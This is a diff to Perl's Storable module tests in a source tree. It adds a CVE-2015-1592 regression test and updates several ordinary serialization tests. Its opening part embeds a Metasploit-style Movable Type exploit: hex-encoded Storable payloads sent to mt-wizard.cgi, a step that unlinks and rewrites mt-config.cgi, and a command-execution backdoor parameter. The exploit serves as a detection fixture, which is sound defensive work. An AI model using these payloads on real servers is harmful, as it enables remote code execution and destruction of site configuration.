+ config_payload = "53455247000000000000000304080831323334353637380408080802020000001411084461746554696d6503000000000411155472793a3a54696e793a3a53636f7065477561726402020000001411114f626a6563743a3a4d756c7469547970650411184f626a6563743a3a4d756c7469547970653a3a536176657203010000000a0b4d543a3a72756e5f6170700100000063013d0400004d543b7072696e742071717b436f6e74656e742d747970653a20746578742f706c61696e5c6e5c6e7d3b73797374656d28717b"
+ config_payload << payload.encoded.unpack('H*')[0]
+ config_payload << "7d293b"
+ config_payload << "23" * (1025 - payload.encoded.length)
+ config_payload << "0a657869743b"
+
+ print_status("Sending payload (#{payload.raw.length} bytes)")
+
+ send_request_cgi({
+ 'method' => 'GET',
+ 'uri' => normalize_uri(target_uri.path, 'mt-wizard.cgi'),
+ 'vars_get' => {
+ '__mode' => 'retry',
+ 'step' => 'configure',
+ 'config' => config_payload
+ }
+ }, 5)
+ end
+
+=cut
+
+#!/usr/bin/perl
+
+# Generate destructive config parameter to unlink mt-config.cgi
+
+use Storable;
+
+{
+ package CGITempFile;
+}
+
+my $unlink_target = "mt-config.cgi";
+my $cgitempfile = bless \$unlink_target, "CGITempFile";
+
+$data = [$cgitempfile];
+my $frozen_data = Storable::freeze($data);
+my $frozen = 'SERG' . pack( 'N', 0 ) . pack( 'N', 3 ) . $frozen_data;
+$frozen = unpack 'H*', $frozen;
+#print "RCE unlink payload requiring CGI: $frozen\n";
+
+# $Storable::DEBUGME = 1;
+# $^W = 1;
+Storable::thaw($frozen_data);
+
+=pod
+
+def exploit_destructive
+ print_status("Using destructive attack method")
+ # First we need to delete mt-config.cgi using the storable injection
+
+ print_status("Sending storable injection to unlink mt-config.cgi")
+
+ res = send_request_cgi({
+ 'method' => 'GET',
+ 'uri' => normalize_uri(target_uri.path, 'mt-wizard.cgi'),
+ 'vars_get' => {
+ '__mode' => 'retry',
+ 'step' => 'configure',
+ 'config' => '534552470000000000000003040808313233343536373804080808020100000004110b43474954656d7046696c650a0d6d742d636f6e6669672e636769'
+ }
+ })
+
+ if res && res.code == 200
+ print_status("Successfully sent unlink request")
+ else
+ fail_with(Failure::Unknown, "Error sending unlink request")
+ end
+
+ # Now we rewrite mt-config.cgi to accept a payload
+
+ print_status("Rewriting mt-config.cgi to accept the payload")
+
+ res = send_request_cgi({
+ 'method' => 'GET',
+ 'uri' => normalize_uri(target_uri.path, 'mt-wizard.cgi'),
+ 'vars_get' => {
+ '__mode' => 'next_step',
+ 'step' => 'optional',
+ 'default_language' => 'en_us',
+ 'email_address_main' => "x\nObjectDriver mysql;use CGI;print qq{Content-type: text/plain\\n\\n};if(my $c = CGI->new()->param('xyzzy')){system($c);};unlink('mt-config.cgi');exit;1",
+ 'set_static_uri_to' => '/',
+ 'config' => '5345524700000000000000024800000001000000127365745f7374617469635f66696c655f746f2d000000012f', # equivalent to 'set_static_file_to' => '/',
+ }
+ })
+
+ if res && res.code == 200
+ print_status("Successfully sent mt-config rewrite request")
+ else
+ fail_with(Failure::Unknown, "Error sending mt-config rewrite request")
+ end
+
+ # Finally send the payload
+
+ print_status("Sending payload request")
+
+ send_request_cgi({
+ 'method' => 'GET',
+ 'uri' => normalize_uri(target_uri.path, 'mt.cgi'),
+ 'vars_get' => {
+ 'xyzzy' => payload.encoded,
+ }
+ }, 5)
+ end
+
+=cut
diff --git a/gnu/usr.bin/perl/dist/Storable/t/CVE-2015-1592.t b/gnu/usr.bin/perl/dist/Storable/t/CVE-2015-1592.t
new file mode 100644
index 00000000000..2730cdc9d1c
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Storable/t/CVE-2015-1592.t
@@ -0,0 +1,22 @@
+#!/usr/bin/perl
+
+use strict;
+use Test::More;
+plan tests => 1;
+
+use File::Temp qw(tempdir);
+use File::Spec;
+my $tmp_dir = tempdir(CLEANUP => 1);
+my $tmp_file = File::Spec->catfile($tmp_dir, 'sploit');
+
+my $file = __FILE__;
+$file =~ s/\.t$/.inc/;
+my $inc = $ENV{PERL_CORE} ? "-Ilib -I../../lib" : "-I".join(" -I", @INC);
+system qq($^X $inc -w "$file" 2>$tmp_file);
+open(my $fh, "<", $tmp_file) or die "$tmp_file $!";
+{
+ local $/;
+ my $err = <$fh>;
+ like($err, qr/SECURITY: Movable-Type CVE-2015-1592 Storable metasploit attack/,
+ 'Detect CVE-2015-1592');
+}
diff --git a/gnu/usr.bin/perl/dist/Storable/t/attach_singleton.t b/gnu/usr.bin/perl/dist/Storable/t/attach_singleton.t
index d05e9bac2c0..c555c5c9ce1 100755
--- a/gnu/usr.bin/perl/dist/Storable/t/attach_singleton.t
+++ b/gnu/usr.bin/perl/dist/Storable/t/attach_singleton.t
@@ -19,7 +19,7 @@ sub BEGIN {
}
}
-use Test::More tests => 11;
+use Test::More tests => 16;
use Storable ();
# Get the singleton
@@ -53,6 +53,11 @@ is( "$struct->[1]", "$thawed->[1]", 'Singleton thaws correctly' );
$struct->[1]->{value} = 'Goodbye cruel world!';
is_deeply( $struct, $thawed, 'Empiric testing confirms correct behaviour' );
+$struct = [ $object, $object ];
+$frozen = Storable::freeze($struct);
+$thawed = Storable::thaw($frozen);
+is("$thawed->[0]", "$thawed->[1]", "Multiple Singletons thaw correctly");
+
# End Tests
###########
diff --git a/gnu/usr.bin/perl/dist/Storable/t/blessed.t b/gnu/usr.bin/perl/dist/Storable/t/blessed.t
index fe439acea86..d9a77b37236 100755
--- a/gnu/usr.bin/perl/dist/Storable/t/blessed.t
+++ b/gnu/usr.bin/perl/dist/Storable/t/blessed.t
@@ -6,9 +6,27 @@
# in the README file that comes with the distribution.
#
+BEGIN {
+ # Do this as the very first thing, in order to avoid problems with the
+ # PADTMP flag on pre-5.19.3 threaded Perls. On those Perls, compiling
+ # code that contains a constant-folded canonical truth value breaks
+ # the ability to take a reference to that canonical truth value later.
+ $::false = 0;
+ %::immortals = (
+ 'u' => \undef,
+ 'y' => \!$::false,
+ 'n' => \!!$::false,
+ );
+}
+
sub BEGIN {
- unshift @INC, 't';
- unshift @INC, 't/compat' if $] < 5.006002;
+ if ($ENV{PERL_CORE}) {
+ chdir 'dist/Storable' if -d 'dist/Storable';
+ @INC = ('../../lib', 't');
+ } else {
+ unshift @INC, 't';
+ unshift @INC, 't/compat' if $] < 5.006002;
+ }
require Config; import Config;
if ($ENV{PERL_CORE} and $Config{'extensions'} !~ /\bStorable\b/) {
print "1..0 # Skip: Storable was not built\n";
@@ -18,25 +36,16 @@ sub BEGIN {
use Test::More;
-use Storable qw(freeze thaw store retrieve);
-
-%::immortals
- = (u => \undef,
- 'y' => \(1 == 1),
- n => \(1 == 0)
-);
+use Storable qw(freeze thaw store retrieve fd_retrieve);
-{
- %::weird_refs = (
- REF => \(my $aref = []),
- VSTRING => \(my $vstring = v1.2.3),
- 'long VSTRING' => \(my $vstring = eval "v" . 0 x 300),
- LVALUE => \(my $substr = substr((my $str = "foo"), 0, 3)),
- );
-}
+%::weird_refs =
+ (REF => \(my $aref = []),
+ VSTRING => \(my $vstring = v1.2.3),
+ 'long VSTRING' => \(my $lvstring = eval "v" . 0 x 300),
+ LVALUE => \(my $substr = substr((my $str = "foo"), 0, 3)));
-my $test = 12;
-my $tests = $test + 23 + (2 * 6 * keys %::immortals) + (3 * keys %::weird_refs);
+my $test = 13;
+my $tests = $test + 41 + (2 * 6 * keys %::immortals) + (3 * keys %::weird_refs);
plan(tests => $tests);
package SHORT_NAME;
@@ -62,18 +71,20 @@ sub STORABLE_thaw {
package main;
# Still less than 256 bytes, so long classname logic not fully exercised
-# Wait until Perl removes the restriction on identifier lengths.
-my $name = "LONG_NAME_" . 'xxxxxxxxxxxxx::' x 14 . "final";
+# Identifier too long - 5.004
+# parser.h: char tokenbuf[256]: cperl5.24 => 1024
+my $m = ($Config{usecperl} and $] >= 5.024) ? 56 : 14;
+my $longname = "LONG_NAME_" . ('xxxxxxxxxxxxx::' x $m) . "final";
eval <<EOC;
-package $name;
+package $longname;
\@ISA = ("SHORT_NAME");
EOC
is($@, '');
eval <<EOC;
-package ${name}_WITH_HOOK;
+package ${longname}_WITH_HOOK;
\@ISA = ("SHORT_NAME_WITH_HOOK");
EOC
@@ -81,12 +92,11 @@ is($@, '');
# Construct a pool of objects
my @pool;
-
for (my $i = 0; $i < 10; $i++) {
- push(@pool, SHORT_NAME->make);
- push(@pool, SHORT_NAME_WITH_HOOK->make);
- push(@pool, $name->make);
- push(@pool, "${name}_WITH_HOOK"->make);
+ push(@pool, SHORT_NAME->make);
+ push(@pool, SHORT_NAME_WITH_HOOK->make);
+ push(@pool, $longname->make);
+ push(@pool, "${longname}_WITH_HOOK"->make);
}
my $x = freeze \@pool;
@@ -98,24 +108,24 @@ is(scalar @{$y}, @pool);
is(ref $y->[0], 'SHORT_NAME');
is(ref $y->[1], 'SHORT_NAME_WITH_HOOK');
-is(ref $y->[2], $name);
-is(ref $y->[3], "${name}_WITH_HOOK");
+is(ref $y->[2], $longname);
+is(ref $y->[3], "${longname}_WITH_HOOK");
my $good = 1;
for (my $i = 0; $i < 10; $i++) {
- do { $good = 0; last } unless ref $y->[4*$i] eq 'SHORT_NAME';
- do { $good = 0; last } unless ref $y->[4*$i+1] eq 'SHORT_NAME_WITH_HOOK';
- do { $good = 0; last } unless ref $y->[4*$i+2] eq $name;
- do { $good = 0; last } unless ref $y->[4*$i+3] eq "${name}_WITH_HOOK";
+ do { $good = 0; last } unless ref $y->[4*$i] eq 'SHORT_NAME';
+ do { $good = 0; last } unless ref $y->[4*$i+1] eq 'SHORT_NAME_WITH_HOOK';
+ do { $good = 0; last } unless ref $y->[4*$i+2] eq $longname;
+ do { $good = 0; last } unless ref $y->[4*$i+3] eq "${longname}_WITH_HOOK";
}
is($good, 1);
{
- my $blessed_ref = bless \\[1,2,3], 'Foobar';
- my $x = freeze $blessed_ref;
- my $y = thaw $x;
- is(ref $y, 'Foobar');
- is($$$y->[0], 1);
+ my $blessed_ref = bless \\[1,2,3], 'Foobar';
+ my $x = freeze $blessed_ref;
+ my $y = thaw $x;
+ is(ref $y, 'Foobar');
+ is($$$y->[0], 1);
}
package RETURNS_IMMORTALS;
@@ -123,30 +133,32 @@ package RETURNS_IMMORTALS;
sub make { my $self = shift; bless [@_], $self }
sub STORABLE_freeze {
- # Some reference some number of times.
- my $self = shift;
- my ($what, $times) = @$self;
- return ("$what$times", ($::immortals{$what}) x $times);
+ # Some reference some number of times.
+ my $self = shift;
+ my ($what, $times) = @$self;
+ return ("$what$times", ($::immortals{$what}) x $times);
}
sub STORABLE_thaw {
- my $self = shift;
- my $cloning = shift;
- my ($x, @refs) = @_;
- my ($what, $times) = $x =~ /(.)(\d+)/;
- die "'$x' didn't match" unless defined $times;
- main::is(scalar @refs, $times);
- my $expect = $::immortals{$what};
- die "'$x' did not give a reference" unless ref $expect;
- my $fail;
- foreach (@refs) {
- $fail++ if $_ != $expect;
- }
- main::is($fail, undef);
+ my $self = shift;
+ my $cloning = shift;
+ my ($x, @refs) = @_;
+ my ($what, $times) = $x =~ /(.)(\d+)/;
+ die "'$x' didn't match" unless defined $times;
+ main::is(scalar @refs, $times);
+ my $expect = $::immortals{$what};
+ die "'$x' did not give a reference" unless ref $expect;
+ my $fail;
+ foreach (@refs) {
+ $fail++ if $_ != $expect;
+ }
+ main::is($fail, undef);
}
package main;
+# XXX Failed tests: 15, 27, 39 with 5.12 and 5.10 threaded.
+# 15: 1 fail (y x 1), 27: 2 fail (y x 2), 39: 3 fail (y x 3)
# $Storable::DEBUGME = 1;
my $count;
foreach $count (1..3) {
@@ -156,7 +168,12 @@ foreach $count (1..3) {
my $i = RETURNS_IMMORTALS->make ($immortal, $count);
my $f = freeze ($i);
- isnt($f, undef);
+ TODO: {
+ # ref sv_true is not always sv_true, at least in older threaded perls.
+ local $TODO = "Some 5.10/12 do not preserve ref identity with freeze \\(1 == 1)"
+ if !defined($f) and $] < 5.013 and $] > 5.009 and $immortal eq 'y';
+ isnt($f, undef);
+ }
my $t = thaw $f;
pass("thaw didn't crash");
}
@@ -305,3 +322,95 @@ is(ref $t, 'STRESS_THE_STACK');
}
}
}
+
+{
+ # [perl #118551]
+ {
+ package RT118551;
+
+ sub new {
+ my $class = shift;
+ my $string = shift;
+ die 'Bad data' unless defined $string;
+ my $self = { string => $string };
+ return bless $self, $class;
+ }
+
+ sub STORABLE_freeze {
+ my $self = shift;
+ my $cloning = shift;
+ return if $cloning;
+ return ($self->{string});
+ }
+
+ sub STORABLE_attach {
+ my $class = shift;
+ my $cloning = shift;
+ my $string = shift;
+ return $class->new($string);
+ }
+ }
+
+ my $x = [ RT118551->new('a'), RT118551->new('') ];
+
+ $y = freeze($x);
+
+ ok(eval {thaw($y)}, "empty serialized") or diag $@; # <-- dies here with "Bad data"
+}
+
+{
+ {
+ package FreezeHookDies;
+ sub STORABLE_freeze {
+ die ${$_[0]}
+ }
+
+ package ThawHookDies;
+ sub STORABLE_freeze {
+ my ($self, $cloning) = @_;
+ my $tmp = $$self;
+ return "a", \$tmp;
+ }
+ sub STORABLE_thaw {
+ my ($self, $cloning, $str, $obj) = @_;
+ die $$obj;
+ }
+ }
+ my $x = bless \(my $tmpx = "Foo"), "FreezeHookDies";
+ my $y = bless \(my $tmpy = []), "FreezeHookDies";
+
+ ok(!eval { store($x, "store$$"); 1 }, "store of hook which throws no NL died");
+ ok(!eval { store($y, "store$$"); 1 }, "store of hook which throws ref died");
+
+ ok(!eval { freeze($x); 1 }, "freeze of hook which throws no NL died");
+ ok(!eval { freeze($y); 1 }, "freeze of hook which throws ref died");
+
+ ok(!eval { dclone($x); 1 }, "dclone of hook which throws no NL died");
+ ok(!eval { dclone($y); 1 }, "dclone of hook which throws ref died");
+
+ my $ostr = bless \(my $tmpstr = "Foo"), "ThawHookDies";
+ my $oref = bless \(my $tmpref = []), "ThawHookDies";
+ ok(store($ostr, "store$$"), "save throw Foo on thaw");
+ ok(!eval { retrieve("store$$"); 1 }, "retrieve of throw Foo on thaw died");
+ open FH, "<", "store$$" or die;
+ binmode FH;
+ ok(!eval { fd_retrieve(*FH); 1 }, "fd_retrieve of throw Foo on thaw died");
+ ok(!ref $@, "right thing thrown");
+ close FH;
+ ok(store($oref, "store$$"), "save throw ref on thaw");
+ ok(!eval { retrieve("store$$"); 1 }, "retrieve of throw ref on thaw died");
+ open FH, "<", "store$$" or die;
+ binmode FH;
+ ok(!eval { fd_retrieve(*FH); 1 }, "fd_retrieve of throw [] on thaw died");
+ ok(ref $@, "right thing thrown");
+ close FH;
+
+ my $strdata = freeze($ostr);
+ ok(!eval { thaw($strdata); 1 }, "thaw of throw Foo on thaw died");
+ ok(!ref $@, "and a string thrown");
+ my $refdata = freeze($oref);
+ ok(!eval { thaw($refdata); 1 }, "thaw of throw [] on thaw died");
+ ok(ref $@, "and a ref thrown");
+
+ unlink("store$$");
+}
diff --git a/gnu/usr.bin/perl/dist/Storable/t/compat01.t b/gnu/usr.bin/perl/dist/Storable/t/compat01.t
index 28276764210..56d7df65f4d 100755
--- a/gnu/usr.bin/perl/dist/Storable/t/compat01.t
+++ b/gnu/usr.bin/perl/dist/Storable/t/compat01.t
@@ -33,7 +33,7 @@ my $testno;
for my $dump (@dumps) {
$testno++;
- open(FH, ">$file") || die "Can't create $file: $!";
+ open(FH, '>', $file) || die "Can't create $file: $!";
binmode(FH);
print FH $dump;
close(FH) || die "Can't write $file: $!";
diff --git a/gnu/usr.bin/perl/dist/Storable/t/dclone.t b/gnu/usr.bin/perl/dist/Storable/t/dclone.t
index 1e852a3ca5f..af3d7f6abfd 100755
--- a/gnu/usr.bin/perl/dist/Storable/t/dclone.t
+++ b/gnu/usr.bin/perl/dist/Storable/t/dclone.t
@@ -68,7 +68,7 @@ is($$cloned{''}[0], \$$cloned{a});
$$cloned{a} = "blah";
is($$cloned{''}[0], \$$cloned{a});
-# [ID 20020221.007] SEGV in Storable with empty string scalar object
+# [ID 20020221.007 (#8624)] SEGV in Storable with empty string scalar object
package TestString;
sub new {
my ($type, $string) = @_;
diff --git a/gnu/usr.bin/perl/dist/Storable/t/destroy.t b/gnu/usr.bin/perl/dist/Storable/t/destroy.t
index e9464fb40dd..dcc3600f1dc 100644
--- a/gnu/usr.bin/perl/dist/Storable/t/destroy.t
+++ b/gnu/usr.bin/perl/dist/Storable/t/destroy.t
@@ -7,7 +7,7 @@ BEGIN {
package foo;
sub new { return bless {} }
DESTROY {
- open FH, "<foo" or die $!;
+ open FH, '<', "foo" or die $!;
eval { Storable::pretrieve(*FH); };
close FH or die $!;
unlink "foo";
diff --git a/gnu/usr.bin/perl/dist/Storable/t/downgrade.t b/gnu/usr.bin/perl/dist/Storable/t/downgrade.t
index db7d457498e..617fb59ad4f 100755
--- a/gnu/usr.bin/perl/dist/Storable/t/downgrade.t
+++ b/gnu/usr.bin/perl/dist/Storable/t/downgrade.t
@@ -26,12 +26,12 @@ use Test::More;
use Storable 'thaw';
use strict;
-use vars qw(@RESTRICT_TESTS %R_HASH %U_HASH $UTF8_CROAK $RESTRICTED_CROAK);
+our (%U_HASH, $UTF8_CROAK, $RESTRICTED_CROAK);
-@RESTRICT_TESTS = ('Locked hash', 'Locked hash placeholder',
+our @RESTRICT_TESTS = ('Locked hash', 'Locked hash placeholder',
'Locked keys', 'Locked keys placeholder',
);
-%R_HASH = (perl => 'rules');
+our %R_HASH = (perl => 'rules');
if ($] > 5.007002) {
# This is cheating. "\xdf" in Latin 1 is beta S, so will match \w if it
diff --git a/gnu/usr.bin/perl/dist/Storable/t/file_magic.t b/gnu/usr.bin/perl/dist/Storable/t/file_magic.t
index 5dc032dc332..a68665ddafe 100755
--- a/gnu/usr.bin/perl/dist/Storable/t/file_magic.t
+++ b/gnu/usr.bin/perl/dist/Storable/t/file_magic.t
@@ -441,7 +441,7 @@ nstore({}, $file);
for my $test (@tests) {
my($data, $expected) = @$test;
- open(FH, ">$file") || die "Can't create $file: $!";
+ open(FH, '>', $file) || die "Can't create $file: $!";
binmode(FH);
print FH $data;
close(FH) || die "Can't write $file: $!";
diff --git a/gnu/usr.bin/perl/dist/Storable/t/flags.t b/gnu/usr.bin/perl/dist/Storable/t/flags.t
new file mode 100644
index 00000000000..e648f7a95cc
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Storable/t/flags.t
@@ -0,0 +1,103 @@
+#!./perl
+
+use Test::More tests => 16;
+
+use Storable ();
+
+use warnings;
+use strict;
+
+package TEST;
+
+sub make {
+ my $pkg = shift;
+ return bless { a => 1, b => 2 }, $pkg;
+}
+
+package TIED_HASH;
+
+sub TIEHASH {
+ my $pkg = shift;
+ return bless { a => 1, b => 2 }, $pkg;
+}
+
+sub FETCH {
+ my ($self, $key) = @_;
+ return $self->{$key};
+}
+
+sub STORE {
+ my ($self, $key, $value) = @_;
+ $self->{$key} = $value;
+}
+
+sub FIRSTKEY {
+ my $self = shift;
+ keys %$self;
+ return each %$self;
+}
+
+sub NEXTKEY {
+ my $self = shift;
+ return each %{$self};
+}
+
+sub EXISTS {
+ my ($self, $key) = @_;
+ return exists $self->{$key};
+}
+
+package main;
+
+{
+ my $obj = TEST->make;
+
+ is_deeply($obj, { a => 1, b => 2 }, "object contains correct data");
+
+ my $frozen = Storable::freeze($obj);
+ my ($t1, $t2) = Storable::thaw($frozen);
+
+ {
+ no warnings 'once';
+ local $Storable::flags = Storable::FLAGS_COMPAT();
+ $t2 = Storable::thaw($frozen);
+ }
+
+ is_deeply($t1, $t2, "objects contain matching data");
+ is(ref $t1, 'TEST', "default object is blessed");
+ is(ref $t2, 'TEST', "compat object is blessed into correct class");
+
+ my $t3 = Storable::thaw($frozen, Storable::FLAGS_COMPAT());
+ is_deeply($t2, $t3, "objects contain matching data (explicit test)");
+ is(ref $t3, 'TEST', "compat object is blessed into correct class (explicit test)");
+
+ my $t4 = Storable::thaw($frozen, Storable::BLESS_OK());
+ is_deeply($t2, $t3, "objects contain matching data (explicit test for bless)");
+ is(ref $t3, 'TEST', "compat object is blessed into correct class (explicit test for bless)");
+
+ {
+ no warnings 'once';
+ local $Storable::flags = Storable::FLAGS_COMPAT();
+ my $t5 = Storable::thaw($frozen, 0);
+ my $t6 = Storable::thaw($frozen, Storable::TIE_OK());
+
+ is_deeply($t1, $t5, "objects contain matching data");
+ is_deeply($t1, $t6, "objects contain matching data for TIE_OK");
+ is(ref $t5, 'HASH', "default object is unblessed");
+ is(ref $t6, 'HASH', "TIE_OK object is unblessed");
+ }
+}
+
+{
+ tie my %hash, 'TIED_HASH';
+ ok(tied %hash, "hash is tied");
+ my $obj = { bow => \%hash };
+
+ my $frozen = Storable::freeze($obj);
+ my $t1 = Storable::thaw($frozen, Storable::FLAGS_COMPAT());
+ my $t2 = eval { Storable::thaw($frozen); };
+
+ ok(!$@, "trying to thaw a tied value succeeds");
+ ok(tied %{$t1->{bow}}, "compat object is tied");
+ is(ref tied %{$t1->{bow}}, 'TIED_HASH', "compat object is tied into correct class");
+}
diff --git a/gnu/usr.bin/perl/dist/Storable/t/forgive.t b/gnu/usr.bin/perl/dist/Storable/t/forgive.t
index c99421149cb..1833a264246 100755
--- a/gnu/usr.bin/perl/dist/Storable/t/forgive.t
+++ b/gnu/usr.bin/perl/dist/Storable/t/forgive.t
@@ -36,7 +36,7 @@ plan(tests => 8);
my $bad = ['foo', \*GLOB, 'bar'];
my $result;
-eval {$result = store ($bad , 'store')};
+eval {$result = store ($bad , "store$$")};
is($result, undef);
isnt($@, '');
@@ -45,21 +45,21 @@ $Storable::forgive_me=1;
my $devnull = File::Spec->devnull;
open(SAVEERR, ">&STDERR");
-open(STDERR, ">$devnull") or
+open(STDERR, '>', $devnull) or
( print SAVEERR "Unable to redirect STDERR: $!\n" and exit(1) );
-eval {$result = store ($bad , 'store')};
+eval {$result = store ($bad , "store$$")};
open(STDERR, ">&SAVEERR");
isnt($result, undef);
is($@, '');
-my $ret = retrieve('store');
+my $ret = retrieve("store$$");
isnt($ret, undef);
is($ret->[0], 'foo');
is($ret->[2], 'bar');
is(ref $ret->[1], 'SCALAR');
-END { 1 while unlink 'store' }
+END { 1 while unlink "store$$" }
diff --git a/gnu/usr.bin/perl/dist/Storable/t/freeze.t b/gnu/usr.bin/perl/dist/Storable/t/freeze.t
index a02f836c2a2..d254c6f5608 100755
--- a/gnu/usr.bin/perl/dist/Storable/t/freeze.t
+++ b/gnu/usr.bin/perl/dist/Storable/t/freeze.t
@@ -19,6 +19,8 @@ sub BEGIN {
use Storable qw(freeze nfreeze thaw);
+$Storable::flags = Storable::FLAGS_COMPAT;
+
use Test::More tests => 21;
$a = 'toto';
diff --git a/gnu/usr.bin/perl/dist/Storable/t/huge.t b/gnu/usr.bin/perl/dist/Storable/t/huge.t
new file mode 100644
index 00000000000..d28e238e7a3
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Storable/t/huge.t
@@ -0,0 +1,104 @@
+#!./perl
+
+use strict;
+use warnings;
+
+use Config;
+use Storable qw(dclone);
+use Test::More;
+
+BEGIN {
+ plan skip_all => 'Storable was not built'
+ if $ENV{PERL_CORE} && $Config{'extensions'} !~ /\b Storable \b/x;
+ plan skip_all => 'Need 64-bit pointers for this test'
+ if $Config{ptrsize} < 8 and $] > 5.013;
+ plan skip_all => 'Need 64-bit int for this test on older versions'
+ if $Config{uvsize} < 8 and $] < 5.013;
+ plan skip_all => 'Need ~4 GiB memory for this test, set PERL_TEST_MEMORY > 4'
+ if !$ENV{PERL_TEST_MEMORY} || $ENV{PERL_TEST_MEMORY} < 4;
+}
+
+# Just too big to fit in an I32.
+my $huge = int(2 ** 31);
+# v5.24.1c/v5.25.1c switched to die earlier with "Too many elements",
+# which is much safer.
+my $has_too_many = ($Config{usecperl} and
+ (($] >= 5.024001 and $] < 5.025000)
+ or $] >= 5.025001)) ? 1 : 0;
+
+# These overlarge sizes are enabled only since Storable 3.00 and some
+# cases need cperl support. Perl5 (as of 5.24) has some internal
+# problems with >I32 sizes, which only cperl has fixed.
+# perl5 is not yet 2GB safe, esp. with hashes.
+
+# string len (xpv_cur): STRLEN (ptrsize>=8)
+# array size (xav_max): SSize_t (I32/I64) (ptrsize>=8)
+# hash size (xhv_keys):
+# IV - 5.12 (ivsize>=8)
+# STRLEN 5.14 - 5.24 (size_t: U32/U64)
+# SSize_t 5.22c - 5.24c (I32/I64)
+# U32 5.25c -
+# hash key: I32
+
+my @cases = (
+ ['huge string',
+ sub { my $s = 'x' x $huge; \$s }],
+
+ ['array with huge element',
+ sub { my $s = 'x' x $huge; [$s] }],
+
+ ['hash with huge value',
+ sub { my $s = 'x' x $huge; +{ foo => $s } }],
+
+ # There's no huge key, limited to I32.
+ ) if $Config{ptrsize} > 4;
+
+
+# An array with a huge number of elements requires several gigabytes of
+# virtual memory. On darwin it is evtl killed.
+if ($Config{ptrsize} > 4 and !$has_too_many) {
+ # needs 20-55G virtual memory, 4.6M heap and several minutes on a fast machine
+ if ($ENV{PERL_TEST_MEMORY} >= 55) {
+ push @cases,
+ [ 'huge array',
+ sub { my @x; $x[$huge] = undef; \@x } ];
+ } else {
+ diag "skip huge array, need PERL_TEST_MEMORY >= 8";
+ }
+}
+
+# A hash with a huge number of keys would require tens of gigabytes of
+# memory, which doesn't seem like a good idea even for this test file.
+# Unfortunately even older 32bit perls do allow this.
+if (!$has_too_many) {
+ # needs >90G virtual mem, and is evtl. killed
+ if ($ENV{PERL_TEST_MEMORY} >= 96) {
+ # number of keys >I32. impossible to handle with perl5, but Storable can.
+ push @cases,
+ ['huge hash',
+ sub { my %x = (0 .. $huge); \%x } ];
+ } else {
+ diag "skip huge hash, need PERL_TEST_MEMORY >= 16";
+ }
+}
+
+
+plan tests => 2 * scalar @cases;
+
+for (@cases) {
+ my ($desc, $build) = @$_;
+ diag "building test input: $desc";
+ my ($input, $exn, $clone);
+ diag "these huge subtests need a lot of memory and time!" if $desc eq 'huge array';
+ $input = $build->();
+ diag "running test: $desc";
+ $exn = $@ if !eval { $clone = dclone($input); 1 };
+
+ is($exn, undef, "$desc no exception");
+ is_deeply($input, $clone, "$desc cloned");
+ #ok($clone, "$desc cloned");
+
+ # Ensure the huge objects are freed right now:
+ undef $input;
+ undef $clone;
+}
diff --git a/gnu/usr.bin/perl/dist/Storable/t/hugeids.t b/gnu/usr.bin/perl/dist/Storable/t/hugeids.t
new file mode 100644
index 00000000000..c0e19ae0bf4
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Storable/t/hugeids.t
@@ -0,0 +1,372 @@
+#!./perl
+
+# We do all of the work in child processes here to ensure that any
+# memory used is released immediately.
+
+# These tests use ridiculous amounts of memory and CPU.
+
+use strict;
+use warnings;
+
+use Config;
+use Storable qw(store_fd retrieve_fd nstore_fd);
+use Test::More;
+use File::Temp qw(tempfile);
+use File::Spec;
+
+BEGIN {
+ plan skip_all => 'Storable was not built'
+ if $ENV{PERL_CORE} && $Config{'extensions'} !~ /\b Storable \b/x;
+ plan skip_all => 'Need 64-bit pointers for this test'
+ if $Config{ptrsize} < 8 and $] > 5.013;
+ plan skip_all => 'Need 64-bit int for this test on older versions'
+ if $Config{uvsize} < 8 and $] < 5.013;
+ plan skip_all => 'Need ~8 GiB memory for this test, set PERL_TEST_MEMORY >= 8'
+ if !$ENV{PERL_TEST_MEMORY} || $ENV{PERL_TEST_MEMORY} < 8;
+ plan skip_all => 'These tests are slow, set PERL_RUN_SLOW_TESTS'
+ unless $ENV{PERL_RUN_SLOW_TESTS};
+ plan skip_all => "Need fork for this test",
+ unless $Config{d_fork};
+}
+
+find_exe("gzip")
+ or plan skip_all => "Need gzip for this test";
+find_exe("gunzip")
+ or plan skip_all => "Need gunzip for this test";
+
+plan tests => 12;
+
+my $skips = $ENV{PERL_STORABLE_SKIP_ID_TEST} || '';
+my $keeps = $ENV{PERL_STORABLE_KEEP_ID_TEST};
+
+freeze_thaw_test
+ (
+ name => "object ids between 2G and 4G",
+ freeze => \&make_2g_data,
+ thaw => \&check_2g_data,
+ id => "2g",
+ memory => 34,
+ );
+
+freeze_thaw_test
+ (
+ name => "object ids over 4G",
+ freeze => \&make_4g_data,
+ thaw => \&check_4g_data,
+ id => "4g",
+ memory => 70,
+ );
+
+freeze_thaw_test
+ (
+ name => "hook object ids over 4G",
+ freeze => \&make_hook_data,
+ thaw => \&check_hook_data,
+ id => "hook4g",
+ memory => 70,
+ );
+
+# not really an id test, but the infrastructure here makes tests
+# easier
+freeze_thaw_test
+ (
+ name => "network store large PV",
+ freeze => \&make_net_large_pv,
+ thaw => \&check_net_large_pv,
+ id => "netlargepv",
+ memory => 8,
+ );
+
+freeze_thaw_test
+ (
+ name => "hook store with 2g data",
+ freeze => \&make_2g_hook_data,
+ thaw => \&check_2g_hook_data,
+ id => "hook2gdata",
+ memory => 4,
+ );
+
+freeze_thaw_test
+ (
+ name => "hook store with 4g data",
+ freeze => \&make_4g_hook_data,
+ thaw => \&check_4g_hook_data,
+ id => "hook4gdata",
+ memory => 8,
+ );
+
+sub freeze_thaw_test {
+ my %opts = @_;
+
+ my $freeze = $opts{freeze}
+ or die "Missing freeze";
+ my $thaw = $opts{thaw}
+ or die "Missing thaw";
+ my $id = $opts{id}
+ or die "Missing id";
+ my $name = $opts{name}
+ or die "Missing name";
+ my $memory = $opts{memory}
+ or die "Missing memory";
+ my $todo_thaw = $opts{todo_thaw} || "";
+
+ SKIP:
+ {
+ # IPC::Run would be handy here
+
+ $ENV{PERL_TEST_MEMORY} >= $memory
+ or skip "Not enough memory to test $name", 2;
+ $skips =~ /\b\Q$id\E\b/
+ and skip "You requested test $name ($id) be skipped", 2;
+ defined $keeps && $keeps !~ /\b\Q$id\E\b/
+ and skip "You didn't request test $name ($id)", 2;
+ my $stored;
+ if (defined(my $pid = open(my $fh, "-|"))) {
+ unless ($pid) {
+ # child
